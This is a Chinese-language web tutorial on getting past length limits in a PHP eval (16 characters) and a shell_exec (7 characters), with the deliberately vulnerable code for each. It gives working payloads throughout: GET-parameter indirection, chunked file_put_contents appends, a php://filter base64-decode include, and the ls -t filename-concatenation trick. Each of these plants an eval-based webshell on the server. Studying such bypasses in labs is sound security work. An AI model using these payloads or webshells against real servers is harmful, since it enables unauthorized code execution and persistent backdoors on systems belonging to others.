当前位置: 首页 > news >正文

Eval绕过限制参数限制

PHP Eval函数参数限制在16个字符

PHP代码

 <?php$param = $_REQUEST['param'];  if (strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false){eval($param);}?># 部署环境属于ubuntu系统

通过GET传参绕过

由于是接收param参数,并且在最后面通过eval执行,所以我们可以控制参数执行一些简单的命令。比如phpinfo();

我们学习过eval是PHP的代码执行方法,并且在Linux系统中是可以通过反引号来执行命令的。所以我们是不是可以通过eval + 反引号 吧代码执行转变为命令执行呢?

我们发现可以这样做,通过echo来输出结果。但是此时如果想写一句话木马就不行了,因为PHP代码中有限制长度。

所以我们是不是可以通过命名一个符合要求的新参数,并且通过GET或者POST传递参数,让eval执行传递的新参数,然后我们通过给新参数定义不同的内容来执行命令,那么不就可以突破长度限制了吗?

由于本地权限不高,我们并不能执行删库跑路代码。

但是由于在本地存在创建文件的权限,所以我们是不是可以在本地写一句话木马文件呢?

文件是可以创建的,所以我们可以在本地写一句话木马文件。

当然除去使用echo打印输出,我们也可以通过exec($_GET[1]);来进行。

用这个方法就可以绕过Eval函数参数限制的情况,利用难度比较低 但是环境要求高。

通过file_put_contents函数写文件绕过

file_put_contents函数

file_put_contents — 将数据写入文件

 file_put_contents(string $filename,mixed $data,int $flags = 0,?resource $context = null): int|false

如果 filename 不存在,将会创建文件。反之,存在的文件将会重写,除非设置 FILE_APPEND flag。

参数说明
filename要被写入数据的文件名。
data要写入的数据。类型可以是 string,array 或者是 stream 资源。
flagsflags 的值
context一个 context 资源。

FLAG内容

Flag描述
FILE_USE_INCLUDE_PATH在 include 目录里搜索 filename。 
FILE_APPEND如果文件 filename 已经存在,追加数据而不是覆盖。
LOCK_EX在写入时获取文件独占锁。换句话说,在调用 fopen() 和 fwrite()中间发生了 flock() 调用。这与调用带模式“x”的 fopen() 不同。

返回值 该函数将返回写入到文件内数据的字节数,失败时返回false。

通过file_put_contents函数我们可以写一个文件,然后一点点向文件里面添加内容,然后通过执行这个文件不就可以绕过长度的限制吗?

 ?1=file_put_contents&param=$_GET[1](N,P,file_append);

此时我们发现,param的内容超过16个字符了。所以被过滤掉了没有生成文件。

我们通过查询官方文档,file_append参数确实是追加啊。也没其他的形式是追加啊。

此时要注意了,因为PHP的底层代码是C语言。所以我们可以去看底层C语言代码是如何写的,通过查看我们发现C语言中追加的参数可以使用" 8 "代替。此时就可以解决长度问题了。

但是还有一个问题,我们发现file_put_contents函数无法追加一些特殊字符。所以我们可以提前内容进行Base64编码传递。

 ?1=file_put_contents&param=$_GET[1](N,P,8);  ​Base64编码内容:<?php eval($_POST[9]);Base64编码:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw​?1=file_put_contents&param=$_GET[1](N,D,8);  ......# 执行文件?param=include$_GET[1];&1=php://filter/read=convert.b  ase64-decode/resource=N​读取文件的时候通过PHP的伪协议,通过Base64-decode将文件内容转成正常的一句话来读取内容。然后文件包含直接执行。因为文件包含会将一切内容都转为PHP文件进行执行。从而可以执行:"<?php eval($_POST[9]);"的内容

然后通过服务该文件,传递参数执行命令。

注意

如果遇到文件无法生成的问题,可能是权限不够。查看Nginx目录下html文件夹的所属用户以及所属组是否为www-data。如果不是需要通过chown目录修改文件的所属用户和所属组。

 # 语法chown [-R] ownname:groupname filename# -R 表示递归该文件夹下所有内容都所有文件的所属用户和所属组​chown -R www-data:www-data html

命令长度限制突破技巧

Linux命令长度限制在7个字符

PHP代码

 <?php$param = $_REQUEST['param'];  if ( strlen($param) < 8 ) {  echo shell_exec($param);}?>

通过重定向写文件绕过

根据之前的经验,我们是不是可以通过一点一点写入问价写来绕过?显然是不可能的收到长度的限制,导致想法实现不了。Linux中可以通过重定向创建文件,并且可以定义文件的名称。如果我们是不是写一堆文件并且通过按照一定的顺序排序,从而将文件名写入到一个新的文件中,最后使用sh执行这个文件不就可以了?

  • ls -t 以创建时间来列出当前目录下所有文件

  • 文件列表以[换行符]分割每个文件

  • 引入 \ 转义ls时的换行

  • 换行不影响命令执行

  • 成功构造任意命令执行,写入Webshell

由于写入webshell中的PHP语句存在特殊字符,所以我们先将语句<?php eval($_GET[1]);通过base64进行编码PD9waHAgZXZhbCgkX0dFVFsxXSk7然后再一个一个慢慢的去上传。

最后通过echo追加文件到创建的c.php文件中以base64解码的形式。

 echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d>  c.php

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 数据库交互的艺术:JDBC与数据库连接池的探索之旅
  • vue2+OpenLayers 地图上添加渐变色(6)
  • 负载均衡相关概念介绍(一)
  • java后端都要学那些知识
  • 3D 技术对我们的生活有哪些影响?
  • 【Java】解析方法的调用关系
  • Linux Shell编程--数组
  • Linux服务管理(五)Apache服务优化
  • 贷齐乐hpp+php特性注入
  • Gerrit 使用教程
  • C++ | stack/queue
  • 【安卓】Service的基本用法
  • 排序算法【希尔排序】
  • python识别车辆标志
  • 前端开发攻略---图片裁剪上传的原理
  • js
  • Linux下的乱码问题
  • React-redux的原理以及使用
  • Redis 中的布隆过滤器
  • spring boot 整合mybatis 无法输出sql的问题
  • vue的全局变量和全局拦截请求器
  • 百度地图API标注+时间轴组件
  • 闭包--闭包之tab栏切换(四)
  • 反思总结然后整装待发
  • 浅谈JavaScript的面向对象和它的封装、继承、多态
  • 如何在GitHub上创建个人博客
  • 树莓派 - 使用须知
  • 王永庆:技术创新改变教育未来
  • 详解NodeJs流之一
  • 学习笔记:对象,原型和继承(1)
  • 优化 Vue 项目编译文件大小
  • ​LeetCode解法汇总518. 零钱兑换 II
  • ​无人机石油管道巡检方案新亮点:灵活准确又高效
  • ​一文看懂数据清洗:缺失值、异常值和重复值的处理
  • # 计算机视觉入门
  • # 消息中间件 RocketMQ 高级功能和源码分析(七)
  • #我与Java虚拟机的故事#连载07:我放弃了对JVM的进一步学习
  • $(selector).each()和$.each()的区别
  • (14)学习笔记:动手深度学习(Pytorch神经网络基础)
  • (2024,Vision-LSTM,ViL,xLSTM,ViT,ViM,双向扫描)xLSTM 作为通用视觉骨干
  • (arch)linux 转换文件编码格式
  • (C++二叉树05) 合并二叉树 二叉搜索树中的搜索 验证二叉搜索树
  • (vue)页面文件上传获取:action地址
  • (第27天)Oracle 数据泵转换分区表
  • (二)原生js案例之数码时钟计时
  • (论文阅读31/100)Stacked hourglass networks for human pose estimation
  • (转)如何上传第三方jar包至Maven私服让maven项目可以使用第三方jar包
  • * CIL library *(* CIL module *) : error LNK2005: _DllMain@12 already defined in mfcs120u.lib(dllmodu
  • .net core Swagger 过滤部分Api
  • .NET Standard / dotnet-core / net472 —— .NET 究竟应该如何大小写?
  • .NET 的静态构造函数是否线程安全?答案是肯定的!
  • .NET 命令行参数包含应用程序路径吗?
  • .net 提取注释生成API文档 帮助文档
  • .net2005怎么读string形的xml,不是xml文件。
  • /usr/bin/python: can't decompress data; zlib not available 的异常处理